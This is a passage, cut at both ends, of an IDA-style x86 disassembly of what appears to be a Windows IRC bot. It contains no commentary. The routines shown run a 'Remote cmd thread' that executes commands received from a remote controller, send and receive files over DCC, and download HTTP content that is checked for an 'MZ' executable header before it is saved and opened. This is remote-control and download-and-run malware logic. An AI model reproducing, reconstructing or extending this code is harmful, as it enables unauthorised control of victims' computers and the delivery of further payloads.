lea eax, [ebp+var_31C]
push eax
push [ebp+var_4]
lea eax, [ebp+var_204]
push eax
push dword_41DE24
call ds:dword_417088 ; ReadFile
test eax, eax
jnz short loc_401D08
jmp short loc_401D22
; ---------------------------------------------------------------------------
loc_401D08: ; CODE XREF: sub_401981+383j
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_510]
push eax
call sub_4018AF
pop ecx
pop ecx
jmp loc_401BAD
; ---------------------------------------------------------------------------
loc_401D22: ; CODE XREF: sub_401981+238j
; sub_401981+291j ...
call sub_401856
push [ebp+var_714]
call sub_409763
pop ecx
xor eax, eax
locret_401D35: ; CODE XREF: sub_401981+67j
; sub_401981+BBj ...
leave
retn 4
sub_401981 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push eax
push [ebp+var_4]
push [ebp+arg_0]
push dword_41DE20
call ds:dword_417068 ; WriteFile
test eax, eax
jnz short loc_401D69
xor eax, eax
jmp short locret_401D6C
; ---------------------------------------------------------------------------
loc_401D69: ; CODE XREF: sub_401D39+2Aj
push 1
pop eax
locret_401D6C: ; CODE XREF: sub_401D39+2Ej
leave
retn
sub_401D39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+198h]
test eax, eax
jz short loc_401DA6
cmp [ebp+arg_4], 0
jnz short loc_401D8B
jmp locret_401E36
; ---------------------------------------------------------------------------
loc_401D8B: ; CODE XREF: sub_401D6E+16j
push 0
push 0
push 0
push [ebp+arg_4]
push offset aOpen ; "open"
push 0
call ds:dword_4171D0
jmp locret_401E36
; ---------------------------------------------------------------------------
loc_401DA6: ; CODE XREF: sub_401D6E+10j
push 3A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_401DBC
jmp short locret_401E36
; ---------------------------------------------------------------------------
loc_401DBC: ; CODE XREF: sub_401D6E+4Aj
cmp [ebp+arg_4], 0
jz short loc_401DD9
push 200h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
loc_401DD9: ; CODE XREF: sub_401D6E+52j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 204h
push eax
call sub_405F67
pop ecx
pop ecx
push offset aRemoteCmdThrea ; "Remote cmd thread"
push 1
push [ebp+var_4]
push offset sub_401981
call sub_4095A4
add esp, 10h
cmp [ebp+arg_4], 0
jnz short loc_401E0B
jmp short locret_401E36
; ---------------------------------------------------------------------------
loc_401E0B: ; CODE XREF: sub_401D6E+99j
push offset asc_418214 ; "\r\n"
push [ebp+arg_4]
call sub_416B70 ; _mbscat
pop ecx
pop ecx
push [ebp+arg_4]
call sub_401D39
pop ecx
test eax, eax
jnz short locret_401E36
push offset aErrorWhileExec ; "Error while executing command."
push [ebp+arg_0]
call sub_40D53F
pop ecx
pop ecx
locret_401E36: ; CODE XREF: sub_401D6E+18j
; sub_401D6E+33j ...
leave
retn
sub_401D6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401E38 proc near ; DATA XREF: sub_4024F3+10Bo
var_614 = qword ptr -614h
var_60C = qword ptr -60Ch
var_604 = dword ptr -604h
var_600 = dword ptr -600h
var_5FC = dword ptr -5FCh
var_5F8 = dword ptr -5F8h
var_5F4 = dword ptr -5F4h
var_5F0 = dword ptr -5F0h
var_5EC = dword ptr -5ECh
var_5E8 = dword ptr -5E8h
var_5E4 = dword ptr -5E4h
var_5E0 = dword ptr -5E0h
var_5DC = byte ptr -5DCh
var_5BB = byte ptr -5BBh
var_4B7 = byte ptr -4B7h
var_3B7 = byte ptr -3B7h
var_3AD = byte ptr -3ADh
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 604h
push 3D6h
push [ebp+arg_0]
lea eax, [ebp+var_5E0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_5BB]
push eax
call ds:dword_4170AC ; DeleteFileA
push offset dword_4182AC
lea eax, [ebp+var_5BB]
push eax
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_5E4], eax
cmp [ebp+var_5E4], 0
jnz short loc_401EA3
push [ebp+var_5E0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4020BE
; ---------------------------------------------------------------------------
loc_401EA3: ; CODE XREF: sub_401E38+56j
push 2710h
push 0
lea eax, [ebp+var_3B7]
push eax
lea eax, [ebp+var_4B7]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_208], eax
cmp [ebp+var_208], 0
jnz short loc_401EEE
push [ebp+var_5E4]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_5E0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4020BE
; ---------------------------------------------------------------------------
loc_401EEE: ; CODE XREF: sub_401E38+95j
lea eax, [ebp+var_5DC]
push eax
lea eax, [ebp+var_5BB]
push eax
mov eax, [ebp+var_5E0]
push dword ptr [eax]
push offset dword_418280
lea eax, [ebp+var_3AD]
push eax
call sub_40D53F
add esp, 14h
call sub_416B64 ; clock
mov [ebp+var_5E8], eax
and [ebp+var_204], 0
loc_401F2A: ; CODE XREF: sub_401E38:loc_401FD8j
push 0
push 200h
lea eax, [ebp+var_200]
push eax
push [ebp+var_208]
call ds:dword_417248 ; recv
mov [ebp+var_5F0], eax
cmp [ebp+var_5F0], 0
jz short loc_401F5F
cmp [ebp+var_5F0], 200h
jbe short loc_401F61
loc_401F5F: ; CODE XREF: sub_401E38+119j
jmp short loc_401FDD
; ---------------------------------------------------------------------------
loc_401F61: ; CODE XREF: sub_401E38+125j
mov eax, [ebp+var_204]
add eax, [ebp+var_5F0]
mov [ebp+var_204], eax
push [ebp+var_204]
call ds:dword_41724C ; htonl
mov [ebp+var_5F4], eax
push 4
lea eax, [ebp+var_5F4]
push eax
push [ebp+var_208]
call sub_4053BF
add esp, 0Ch
push [ebp+var_5E4]
push [ebp+var_5F0]
push 1
lea eax, [ebp+var_200]
push eax
call sub_416B7C ; fwrite
add esp, 10h
cmp [ebp+var_5F0], 200h
jnb short loc_401FC7
jmp short loc_401FDD
; ---------------------------------------------------------------------------
loc_401FC7: ; CODE XREF: sub_401E38+18Bj
mov eax, [ebp+var_5E0]
cmp dword ptr [eax+4], 0
jz short loc_401FD8
jmp loc_4020BC
; ---------------------------------------------------------------------------
loc_401FD8: ; CODE XREF: sub_401E38+199j
jmp loc_401F2A
; ---------------------------------------------------------------------------
loc_401FDD: ; CODE XREF: sub_401E38:loc_401F5Fj
; sub_401E38+18Dj
push [ebp+var_5E4]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_5EC], eax
call sub_416B64 ; clock
cmp [ebp+var_5E8], eax
jnz short loc_402008
call sub_416B64 ; clock
dec eax
mov [ebp+var_5E8], eax
loc_402008: ; CODE XREF: sub_401E38+1C2j
mov eax, [ebp+var_5EC]
cdq
mov ecx, 400h
idiv ecx
mov [ebp+var_5F8], eax
fild [ebp+var_5F8]
fstp [ebp+var_5FC]
call sub_416B64 ; clock
sub eax, [ebp+var_5E8]
mov [ebp+var_600], eax
fild [ebp+var_600]
fdiv ds:flt_417270
fdivr [ebp+var_5FC]
push ecx
push ecx
fstp [esp+60Ch+var_60C]
call sub_416B64 ; clock
sub eax, [ebp+var_5E8]
mov [ebp+var_604], eax
fild [ebp+var_604]
fdiv ds:flt_417270
push ecx
push ecx
fstp [esp+614h+var_614]
lea eax, [ebp+var_5DC]
push eax
lea eax, [ebp+var_5BB]
push eax
push offset dword_418234
lea eax, [ebp+var_3AD]
push eax
call sub_40D53F
add esp, 20h
loc_402094: ; CODE XREF: sub_401E38:loc_4020BCj
push [ebp+var_5E4]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_208]
call sub_40538D
pop ecx
push [ebp+var_5E0]
call sub_409763
pop ecx
xor eax, eax
jmp short locret_4020BE
; ---------------------------------------------------------------------------
loc_4020BC: ; CODE XREF: sub_401E38+19Bj
jmp short loc_402094
; ---------------------------------------------------------------------------
locret_4020BE: ; CODE XREF: sub_401E38+66j
; sub_401E38+B1j ...
leave
retn 4
sub_401E38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4020C2 proc near ; DATA XREF: sub_40260D+7Co
var_A2C = qword ptr -0A2Ch
var_A24 = qword ptr -0A24h
var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = byte ptr -0A04h
var_9FC = dword ptr -9FCh
var_9F8 = dword ptr -9F8h
var_9F4 = dword ptr -9F4h
var_9F0 = byte ptr -9F0h
var_8EC = dword ptr -8ECh
var_8E8 = dword ptr -8E8h
var_8E4 = dword ptr -8E4h
var_8E0 = byte ptr -8E0h
var_8BF = byte ptr -8BFh
var_8BE = byte ptr -8BEh
var_7BB = byte ptr -7BBh
var_618 = dword ptr -618h
var_614 = byte ptr -614h
var_210 = byte ptr -210h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A1Ch
push 2CCh
push [ebp+arg_0]
lea eax, [ebp+var_8E4]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_8BF]
push eax
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_9F8], eax
jmp short loc_40210D
; ---------------------------------------------------------------------------
loc_402100: ; CODE XREF: sub_4020C2:loc_40215Ej
mov eax, [ebp+var_9F8]
dec eax
mov [ebp+var_9F8], eax
loc_40210D: ; CODE XREF: sub_4020C2+3Cj
cmp [ebp+var_9F8], 0
jnz short loc_40212D
lea eax, [ebp+var_8BF]
push eax
lea eax, [ebp+var_9F0]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_402160
; ---------------------------------------------------------------------------
loc_40212D: ; CODE XREF: sub_4020C2+52j
mov eax, [ebp+var_9F8]
movsx eax, [ebp+eax+var_8BF]
cmp eax, 5Ch
jnz short loc_40215E
mov eax, [ebp+var_9F8]
lea eax, [ebp+eax+var_8BE]
push eax
lea eax, [ebp+var_9F0]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_402160
; ---------------------------------------------------------------------------
loc_40215E: ; CODE XREF: sub_4020C2+7Cj
jmp short loc_402100
; ---------------------------------------------------------------------------
loc_402160: ; CODE XREF: sub_4020C2+69j
; sub_4020C2+9Aj
mov [ebp+var_8E8], 10h
lea eax, [ebp+var_8E8]
push eax
lea eax, [ebp+var_10]
push eax
call sub_40CF25
push eax
call ds:dword_417240 ; getsockname
push 2
push 0
push 0
push 401h
lea eax, [ebp+var_614]
push eax
push [ebp+var_8E8]
lea eax, [ebp+var_10]
push eax
call dword_41DE88 ; getnameinfo
test eax, eax
jz short loc_4021BA
push [ebp+var_8E4]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4024EF
; ---------------------------------------------------------------------------
loc_4021BA: ; CODE XREF: sub_4020C2+E3j
push 0Ah
lea eax, [ebp+var_A04]
push eax
push 1388h
push 400h
call sub_4103F5
pop ecx
pop ecx
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
push 1
lea eax, [ebp+var_A04]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_9FC], eax
cmp [ebp+var_9FC], 0
jnz short loc_40220F
push [ebp+var_8E4]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4024EF
; ---------------------------------------------------------------------------
loc_40220F: ; CODE XREF: sub_4020C2+138j
push offset aRb ; "rb"
lea eax, [ebp+var_8BF]
push eax
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_8EC], eax
cmp [ebp+var_8EC], 0
jnz short loc_402250
push [ebp+var_9FC]
call sub_404CBB
pop ecx
push [ebp+var_8E4]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4024EF
; ---------------------------------------------------------------------------
loc_402250: ; CODE XREF: sub_4020C2+16Dj
push 2
push 0
push [ebp+var_8EC]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_8EC]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_A08], eax
push 0
push 0
push [ebp+var_8EC]
call sub_416B96 ; fseek
add esp, 0Ch
lea eax, [ebp+var_614]
push eax
lea eax, [ebp+var_9F0]
push eax
push offset aDccSendSS ; "DCC Send %s (%s)"
lea eax, [ebp+var_8E0]
push eax
call sub_40D420
add esp, 10h
push [ebp+var_A08]
lea eax, [ebp+var_A04]
push eax
lea eax, [ebp+var_614]
push eax
call ds:dword_417244 ; inet_addr
push eax
call ds:dword_41724C ; htonl
push eax
lea eax, [ebp+var_9F0]
push eax
push offset dword_418348
lea eax, [ebp+var_8E0]
push eax
call sub_40D4AB
add esp, 18h
push 0EA60h
push [ebp+var_9FC]
call sub_4048EF
pop ecx
pop ecx
mov [ebp+var_618], eax
cmp [ebp+var_618], 0
jz short loc_40230F
cmp [ebp+var_618], 0FFFFFFFFh
jnz short loc_40233A
loc_40230F: ; CODE XREF: sub_4020C2+242j
push [ebp+var_8EC]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_9FC]
call sub_404CBB
pop ecx
push [ebp+var_8E4]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4024EF
; ---------------------------------------------------------------------------
loc_40233A: ; CODE XREF: sub_4020C2+24Bj
lea eax, [ebp+var_8E0]
push eax
lea eax, [ebp+var_9F0]
push eax
mov eax, [ebp+var_8E4]
push dword ptr [eax]
push offset dword_418320
lea eax, [ebp+var_7BB]
push eax
call sub_40D53F
add esp, 14h
call sub_416B64 ; clock
mov [ebp+var_9F4], eax
loc_40236F: ; CODE XREF: sub_4020C2:loc_40240Dj
push [ebp+var_8EC]
push 200h
push 1
lea eax, [ebp+var_210]
push eax
call sub_416B90 ; fread
add esp, 10h
mov [ebp+var_A0C], eax
cmp [ebp+var_A0C], 0
jz short loc_4023A6
cmp [ebp+var_A0C], 200h
jbe short loc_4023A8
loc_4023A6: ; CODE XREF: sub_4020C2+2D6j
jmp short loc_402412
; ---------------------------------------------------------------------------
loc_4023A8: ; CODE XREF: sub_4020C2+2E2j
push [ebp+var_A0C]
lea eax, [ebp+var_210]
push eax
push [ebp+var_618]
call sub_4053BF
add esp, 0Ch
test eax, eax
jnz short loc_4023EE
lea eax, [ebp+var_8E0]
push eax
lea eax, [ebp+var_9F0]
push eax
push offset dword_4182F4
lea eax, [ebp+var_7BB]
push eax
call sub_40D53F
add esp, 10h
jmp loc_4024ED
; ---------------------------------------------------------------------------
loc_4023EE: ; CODE XREF: sub_4020C2+303j
cmp [ebp+var_A0C], 200h
jnb short loc_4023FC
jmp short loc_402412
; ---------------------------------------------------------------------------
loc_4023FC: ; CODE XREF: sub_4020C2+336j
mov eax, [ebp+var_8E4]
cmp dword ptr [eax+4], 0
jz short loc_40240D
jmp loc_4024EB
; ---------------------------------------------------------------------------
loc_40240D: ; CODE XREF: sub_4020C2+344j
jmp loc_40236F
; ---------------------------------------------------------------------------
loc_402412: ; CODE XREF: sub_4020C2:loc_4023A6j
; sub_4020C2+338j
call sub_416B64 ; clock
cmp [ebp+var_9F4], eax
jnz short loc_40242B
call sub_416B64 ; clock
dec eax
mov [ebp+var_9F4], eax
loc_40242B: ; CODE XREF: sub_4020C2+35Bj
mov eax, [ebp+var_A08]
cdq
mov ecx, 400h
idiv ecx
mov [ebp+var_A10], eax
fild [ebp+var_A10]
fstp [ebp+var_A14]
call sub_416B64 ; clock
sub eax, [ebp+var_9F4]
mov [ebp+var_A18], eax
fild [ebp+var_A18]
fdiv ds:flt_417270
fdivr [ebp+var_A14]
push ecx
push ecx
fstp [esp+0A24h+var_A24]
call sub_416B64 ; clock
sub eax, [ebp+var_9F4]
mov [ebp+var_A1C], eax
fild [ebp+var_A1C]
fdiv ds:flt_417270
push ecx
push ecx
fstp [esp+0A2Ch+var_A2C]
lea eax, [ebp+var_8E0]
push eax
lea eax, [ebp+var_9F0]
push eax
push offset dword_4182B0
lea eax, [ebp+var_7BB]
push eax
call sub_40D53F
add esp, 20h
loc_4024B7: ; CODE XREF: sub_4020C2:loc_4024EBj
; sub_4020C2:loc_4024EDj
push [ebp+var_618]
call sub_40538D
pop ecx
push [ebp+var_8EC]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_9FC]
call sub_404CBB
pop ecx
push [ebp+var_8E4]
call sub_409763
pop ecx
xor eax, eax
jmp short locret_4024EF
; ---------------------------------------------------------------------------
loc_4024EB: ; CODE XREF: sub_4020C2+346j
jmp short loc_4024B7
; ---------------------------------------------------------------------------
loc_4024ED: ; CODE XREF: sub_4020C2+327j
jmp short loc_4024B7
; ---------------------------------------------------------------------------
locret_4024EF: ; CODE XREF: sub_4020C2+F3j
; sub_4020C2+148j ...
leave
retn 4
sub_4020C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4024F3 proc near ; CODE XREF: sub_40D871+203p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_4], 0
jz short loc_402511
cmp [ebp+arg_8], 0
jz short loc_402511
cmp [ebp+arg_C], 0
jz short loc_402511
cmp [ebp+arg_10], 0
jnz short loc_402516
loc_402511: ; CODE XREF: sub_4024F3+Aj
; sub_4024F3+10j ...
jmp locret_40260B
; ---------------------------------------------------------------------------
loc_402516: ; CODE XREF: sub_4024F3+1Cj
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_402531
cmp [ebp+var_8], 0FFFFh
jbe short loc_402536
loc_402531: ; CODE XREF: sub_4024F3+33j
jmp locret_40260B
; ---------------------------------------------------------------------------
loc_402536: ; CODE XREF: sub_4024F3+3Cj
push [ebp+arg_14]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_402551
cmp [ebp+var_8], 40000000h
jbe short loc_402556
loc_402551: ; CODE XREF: sub_4024F3+53j
jmp locret_40260B
; ---------------------------------------------------------------------------
loc_402556: ; CODE XREF: sub_4024F3+5Cj
push 3D6h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40256F
jmp locret_40260B
; ---------------------------------------------------------------------------
loc_40256F: ; CODE XREF: sub_4024F3+75j
push 21h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push 104h
push [ebp+arg_8]
mov eax, [ebp+var_4]
add eax, 25h
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push 100h
push [ebp+arg_C]
mov eax, [ebp+var_4]
add eax, 129h
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push 6
push [ebp+arg_10]
mov eax, [ebp+var_4]
add eax, 229h
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
mov eax, [ebp+var_4]
mov ecx, [ebp+var_C]
mov [eax+22Fh], ecx
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 233h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
push [ebp+arg_8]
push offset dword_41837C
push 0
push [ebp+var_4]
push offset sub_401E38
call sub_4095A4
add esp, 18h
locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j
; sub_4024F3:loc_402531j ...
leave
retn
sub_4024F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 0
jz short loc_40261D
cmp [ebp+arg_8], 0
jnz short loc_40261F
loc_40261D: ; CODE XREF: sub_40260D+8j
jmp short locret_402696
; ---------------------------------------------------------------------------
loc_40261F: ; CODE XREF: sub_40260D+Ej
push 2CCh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_402635
jmp short locret_402696
; ---------------------------------------------------------------------------
loc_402635: ; CODE XREF: sub_40260D+24j
push 21h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push 104h
push [ebp+arg_8]
mov eax, [ebp+var_4]
add eax, 25h
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 129h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
push [ebp+arg_8]
push offset dword_4183A0
push 0
push [ebp+var_4]
push offset sub_4020C2
call sub_4095A4
add esp, 18h
locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj
; sub_40260D+26j
leave
retn
sub_40260D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402698 proc near ; CODE XREF: sub_402A32+5C9p
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_40C = dword ptr -40Ch
var_408 = dword ptr -408h
var_404 = byte ptr -404h
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 420h
push 2710h
push 0
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4050EA
add esp, 10h
mov [ebp+var_414], eax
cmp [ebp+var_414], 0
jnz short loc_4026CC
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_4026CC: ; CODE XREF: sub_402698+2Bj
push [ebp+arg_8]
push [ebp+arg_10]
push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
push 401h
lea eax, [ebp+var_404]
push eax
call sub_416BAE ; _snprintf
add esp, 14h
lea eax, [ebp+var_404]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_404]
push eax
push [ebp+var_414]
call sub_4053BF
add esp, 0Ch
push 2710h
push 401h
lea eax, [ebp+var_404]
push eax
push [ebp+var_414]
call sub_405443
add esp, 10h
mov [ebp+var_420], eax
cmp [ebp+var_420], 0
jz short loc_402745
cmp [ebp+var_420], 0FFFFFFFFh
jnz short loc_402758
loc_402745: ; CODE XREF: sub_402698+A2j
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_402758: ; CODE XREF: sub_402698+ABj
push offset asc_4183EC ; "\r\n\r\n"
lea eax, [ebp+var_404]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_410], eax
cmp [ebp+var_410], 0
jnz short loc_40278D
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40278D: ; CODE XREF: sub_402698+E0j
mov eax, [ebp+var_410]
add eax, 4
mov [ebp+var_410], eax
push offset aContentLength ; "Content-Length: "
lea eax, [ebp+var_404]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_40C], eax
cmp [ebp+var_40C], 0
jz short loc_4027CC
mov eax, [ebp+var_40C]
cmp eax, [ebp+var_410]
jbe short loc_4027DF
loc_4027CC: ; CODE XREF: sub_402698+124j
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_4027DF: ; CODE XREF: sub_402698+132j
and [ebp+var_41C], 0
lea eax, [ebp+var_41C]
push eax
push offset aContentLengthU ; "Content-Length: %u\r\n"
push [ebp+var_40C]
call sub_416BA2 ; sscanf
add esp, 0Ch
mov [ebp+var_408], eax
cmp [ebp+var_408], 1
jnz short loc_402818
cmp [ebp+var_41C], 0
jnz short loc_40282B
loc_402818: ; CODE XREF: sub_402698+175j
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40282B: ; CODE XREF: sub_402698+17Ej
cmp [ebp+arg_1C], 0
jz short loc_40285D
cmp [ebp+var_41C], 2
jb short loc_40284A
mov eax, [ebp+var_410]
movzx eax, word ptr [eax]
cmp eax, 5A4Dh
jz short loc_40285D
loc_40284A: ; CODE XREF: sub_402698+1A0j
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40285D: ; CODE XREF: sub_402698+197j
; sub_402698+1B0j
cmp [ebp+arg_18], 0
jz short loc_40286E
mov eax, [ebp+arg_18]
mov ecx, [ebp+var_41C]
mov [eax], ecx
loc_40286E: ; CODE XREF: sub_402698+1C9j
push [ebp+arg_14]
call sub_4167B9
pop ecx
test eax, eax
jz short loc_40288E
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40288E: ; CODE XREF: sub_402698+1E1j
push offset dword_4182AC
push [ebp+arg_14]
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_418], eax
cmp [ebp+var_418], 0
jnz short loc_4028BF
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_4028BF: ; CODE XREF: sub_402698+212j
push [ebp+var_418]
mov eax, [ebp+var_410]
lea ecx, [ebp+var_404]
sub eax, ecx
mov ecx, [ebp+var_420]
sub ecx, eax
push ecx
push 1
push [ebp+var_410]
call sub_416B7C ; fwrite
add esp, 10h
mov eax, [ebp+var_410]
lea ecx, [ebp+var_404]
sub eax, ecx
mov ecx, [ebp+var_420]
sub ecx, eax
mov eax, [ebp+var_41C]
sub eax, ecx
mov [ebp+var_41C], eax
loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj
cmp [ebp+arg_20], 0
jz short loc_40293F
mov eax, [ebp+arg_20]
cmp dword ptr [eax+4], 0
jz short loc_40293F
push [ebp+var_418]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_414]
call sub_40538D
pop ecx
push 1
pop eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40293F: ; CODE XREF: sub_402698+27Cj
; sub_402698+285j
push 2710h
push 401h
lea eax, [ebp+var_404]
push eax
push [ebp+var_414]
call sub_405443
add esp, 10h
mov [ebp+var_420], eax
cmp [ebp+var_420], 0
jz short loc_402976
cmp [ebp+var_420], 0FFFFFFFFh
jnz short loc_40299E
loc_402976: ; CODE XREF: sub_402698+2D3j
push [ebp+var_418]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_414]
call sub_40538D
pop ecx
push [ebp+arg_14]
call ds:dword_4170AC ; DeleteFileA
xor eax, eax
jmp locret_402A22
; ---------------------------------------------------------------------------
loc_40299E: ; CODE XREF: sub_402698+2DCj
mov eax, [ebp+var_420]
cmp eax, [ebp+var_41C]
jbe short loc_4029C8
push [ebp+var_418]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_414]
call sub_40538D
pop ecx
xor eax, eax
jmp short locret_402A22
; ---------------------------------------------------------------------------
loc_4029C8: ; CODE XREF: sub_402698+312j
push [ebp+var_418]
push [ebp+var_420]
push 1
lea eax, [ebp+var_404]
push eax
call sub_416B7C ; fwrite
add esp, 10h
mov eax, [ebp+var_41C]
sub eax, [ebp+var_420]
mov [ebp+var_41C], eax
cmp [ebp+var_41C], 0
jnz short loc_402A1D
push [ebp+var_418]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_414]
call sub_40538D
pop ecx
push 1
pop eax
jmp short locret_402A22
; ---------------------------------------------------------------------------
loc_402A1D: ; CODE XREF: sub_402698+366j
jmp loc_402910
; ---------------------------------------------------------------------------
locret_402A22: ; CODE XREF: sub_402698+2Fj
; sub_402698+BBj ...
leave
retn
sub_402698 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A24 proc near ; CODE XREF: sub_402A32+625p
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_402A24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A2B proc near ; CODE XREF: sub_402A32+673p
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_402A2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402A32 proc near ; DATA XREF: sub_403260+BCo
var_814 = qword ptr -814h
var_804 = qword ptr -804h
var_7FC = dword ptr -7FCh
var_7F8 = qword ptr -7F8h
var_7F0 = dword ptr -7F0h
var_7EC = dword ptr -7ECh
var_7E8 = dword ptr -7E8h
var_7E4 = dword ptr -7E4h
var_7E0 = dword ptr -7E0h
